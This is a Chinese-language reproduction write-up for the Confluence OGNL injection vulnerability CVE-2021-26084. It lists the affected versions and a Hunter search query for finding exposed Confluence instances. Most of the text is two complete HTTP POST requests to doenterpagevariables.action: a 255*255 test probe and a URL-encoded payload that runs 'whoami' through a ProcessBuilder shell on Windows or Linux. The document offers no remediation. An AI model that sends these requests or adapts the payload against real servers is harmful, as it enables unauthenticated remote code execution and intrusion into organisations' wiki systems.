Atlassian Confluence doenterpagevariables OGNL表达式注入命令执行漏洞(CVE-2021-26084)
一、漏洞简介
Atlassian Confluence是企业广泛使用的wiki系统，其部分版本中存在OGNL表达式注入漏洞。攻击者可以通过这个漏洞，无需任何用户的情况下在目标Confluence中执行任意代码。
二、影响版本
- Atlassian Confluence Server/Data Center < 6.13.23
- Atlassian Confluence Server/Data Center < 7.4.11
- Atlassian Confluence Server/Data Center < 7.11.6
- Atlassian Confluence Server/Data Center < 7.12.5
- Atlassian Confluence Server/Data Center < 7.13.0
三、资产测绘
- hunter
app.name="Confluence" - 特征
四、漏洞复现
POST /pages/doenterpagevariables.action HTTP/1.1
Host: xx.xx.xx.xx
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
queryString=%5cu0027%2b%7b255*255%7d%2b%5cu0027
执行命令
POST /pages/doenterpagevariables.action HTTP/1.1
Host: xx.xx.xx.xx
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022whoami%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027